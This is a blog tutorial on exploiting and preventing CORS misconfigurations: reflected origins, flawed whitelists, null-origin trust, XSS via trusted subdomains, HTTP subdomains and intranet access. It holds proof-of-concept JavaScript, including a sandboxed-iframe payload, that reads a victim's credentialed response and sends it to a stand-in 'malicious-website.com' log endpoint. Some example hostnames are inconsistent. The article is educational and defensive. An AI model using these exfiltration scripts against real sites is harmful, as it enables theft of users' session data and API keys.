logo
    • Home
    • Categories
    • About
  • en-languageEnglish
SecurityBy Pierre Colart

Cross-origin resource sharing (CORS)

Context

Cross-Origin Resource Sharing (CORS) is a browser mechanism that allows controlled access to resources located outside a given domain. It extends and adds flexibility to the Same-Origin Policy (SOP). However, it also poses a potential for cross-domain attacks if a website's CORS policy is misconfigured and implemented. CORS is not protection against cross-site request forgery (CSRF) attacks.

Same-Origin Policy is a restrictive cross-origin specification that limits a website's ability to interact with resources outside of the source domain. The Same-Origin Policy was defined many years ago in response to potentially malicious interactions between domains, such as one website stealing private data from another. It generally allows a domain to issue requests to other domains but not to access responses.

The Same-Origin Policy is very restrictive, and therefore, various approaches have been devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. A controlled relaxation of the Same-Origin Policy is possible by using Cross-Origin Resource Sharing (CORS).

The Cross-Origin Resource Sharing protocol uses a suite of HTTP headers that define trusted web origins and associated properties, such as whether authenticated access is authorized. These are combined in a header exchange between a browser and the cross-origin website it's attempting to access.

Vulnerabilities Resulting from CORS Misconfiguration Issues

Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS can contain errors or be too permissive to ensure that everything works, which can result in exploitable vulnerabilities.

Access-Control-Allow-Origin Header Generated by the Server from the Client-Specified Origin Header Some applications need to provide access to a number of other domains. Maintaining a list of authorized domains requires ongoing effort, and any mistake risks breaking functionality. Thus, some applications take the easy route of effectively allowing access from any other domain.

One way to do this is to read the Origin header of requests and include a response header indicating that the request origin is authorized. Let's take the example of an application that receives the following request:

 GET /sensitive-data HTTP/1.1
Host: website.com
Origin: https://website.com
Cookie: sessionid=...

It then responds with:

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://website.com
Access-Control-Allow-Credentials: true
...

These headers indicate that access is allowed from the requesting domain (malicious-website.com) and that cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and will, therefore, be treated in session.

Since the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access the resources of the vulnerable domain. If the response contains sensitive information such as an API key or a CSRF token, you can retrieve them by placing the following script on your website:

 var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//website.com/log?key='+this.responseText;
};

Errors Parsing Origin Headers

Some applications that support access from multiple origins do so by using a whitelist of authorized origins. When a CORS request is received, the provided origin is compared to the whitelist. If the origin appears on the whitelist, it is reflected in the Access-Control-Allow-Origin header so that access is granted. For example, the application receives a normal request like:

 GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://website.com

The application checks the provided origin against its list of allowed origins, and if it is on the list, reflects the origin as follows:

 HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://website.com

Errors often occur when implementing CORS origin whitelists. Some organizations decide to allow access from all of their subdomains (including future subdomains that do not yet exist). And some applications allow access from various domains of other organizations, including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or by using regular expressions. Any errors in implementation can result in granting access to unwanted external domains.

For example, suppose an application allows access to all domains ending in:

 normal-website.com

An attacker could be able to gain access by registering the domain:

 attacker-normal-website.com

Also suppose that an application grants access to all domains beginning with:

 normal-website.com

An attacker could be able to gain access using the domain:

 normal-website.com.attacker-user.net

Null origin value on whitelist

The Origin header specification supports the null value. Browsers may send the null value in the Origin header in various unusual situations:

Cross-origin redirects. Requests from serialized data. Request using the file: protocol. Cross-origin requests in sandbox. Some applications may whitelist null origin to support local application development. For example, suppose an application receives the following cross-origin request:

 GET /sensitive-data
Host: vulnerable-website.com
Origin: null

And the server responds with:

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

In this situation, an attacker can use various tricks to generate a cross-origin request containing the null value in the Origin header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a cross-origin iframe request in sandbox of the form:

 <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Exploitation of XSS via CORS trust relationships

Even "correctly" configured CORS establishes a trust relationship between two origins. If a website trusts an origin vulnerable to cross-site scripting (XSS), an attacker could exploit the XSS to inject JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Given the following request:

 GET /api/requestApiKey HTTP/1.1
Host: website.com
Origin: https://subdomain.website.com
Cookie: sessionid=...

If the server responds with:

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.website.com
Access-Control-Allow-Credentials: true

An attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use it to retrieve the API key by using a URL like:

 https://subdomain.website.com/?xss=<script>cors-stuff-here</script>

Breaking TLS with misconfigured CORS

Assuming an application that strictly uses HTTPS also whitelists a trusted subdomain that uses the simple HTTP protocol. For example, when the application receives the following request:

 GET /api/requestApiKey HTTP/1.1
Host: website.com
Origin: http://trusted-subdomain.website.com
Cookie: sessionid=...

The application responds with:

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.website.com
Access-Control-Allow-Credentials: true

In this situation, an attacker who is able to intercept the traffic of a victim user can exploit the CORS configuration to compromise the victim's interaction with the application. This attack involves the following steps:

  1. The victim user makes any simple HTTP request.
  2. The attacker injects a redirection to http://trusted-subdomain.vulnerable-website.com.
  3. The victim's browser follows the redirection.
  4. The attacker intercepts the plaintext HTTP request and returns a falsified response containing a CORS request to: https://vulnerable-website.com.
  5. The victim's browser performs the CORS request, including the origin: http://trusted-subdomain.vulnerable-website.com.
  6. The application allows the request since it is a whitelisted origin. The requested sensitive data is returned in the response.
  7. The attacker's impersonated page can read the sensitive data and transmit it to any domain under the attacker's control.
  8. This attack is effective even if the vulnerable website is otherwise robust in its use of HTTPS, with no HTTP endpoints and all cookies marked as secure.

Intranets and CORS without credentials

Most CORS attacks rely on the presence of the response header:

 Access-Control-Allow-Credentials: true

Without this header, the victim user's browser will refuse to send its cookies, meaning that the attacker will only have access to unauthenticated content, which they could just as easily access by navigating directly to the target website.

However, there is a common situation in which an attacker cannot directly access a website: when they are part of an organization's intranet and are in a private IP addressing space. Internal websites are often subject to a lower security standard than external sites, allowing attackers to find vulnerabilities and gain additional access. For example, a cross-origin request within a private network might look like this:

 GET /reader?url=doc1.pdf
Host: intranet.website.com
Origin: https://website.com

And the server responds with:

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

The application server trusts resource requests from any origin without credentials. If users within the private IP addressing space access the public Internet, a CORS-based attack can be launched from the external site using the victim's browser as a proxy to access intranet resources.

How to prevent CORS-based attacks

CORS vulnerabilities primarily arise as a result of misconfigurations. Therefore, prevention is a configuration issue. The following sections describe some effective defenses against CORS attacks.

  1. Correct cross-origin request configuration: If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header.
  2. Only allow trusted sites: This may seem obvious, but the origins specified in the Access-Control-Allow-Origin header should only be trusted sites. In particular, dynamic reflection of origins from cross-origin requests without validation is easily exploitable and should be avoided.
  3. Avoid whitelisting null: Avoid using the Access-Control-Allow-Origin: null header. Cross-origin resource calls from internal documents and sandbox requests may specify the null origin. CORS headers should be properly defined with regard to trusted origins for both private and public servers.
  4. Avoid generic characters in internal networks: Avoid using generic characters in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access unapproved external domains.
  5. CORS does not replace server-side security policies: CORS defines browser behavior and never replaces server-side protection of sensitive data - an attacker can directly falsify a request from any trusted origin. Therefore, web servers must continue to apply protections on sensitive data, such as authentication and session management, in addition to properly configured CORS.

Pierre Colart

Passionate developer and architect who wants to share their world and discoveries in order to make things simpler for everyone.

See profil

Latest posts

Sequences, Time Series and Prediction

© 2023 Switch case. Made with by Pierre Colart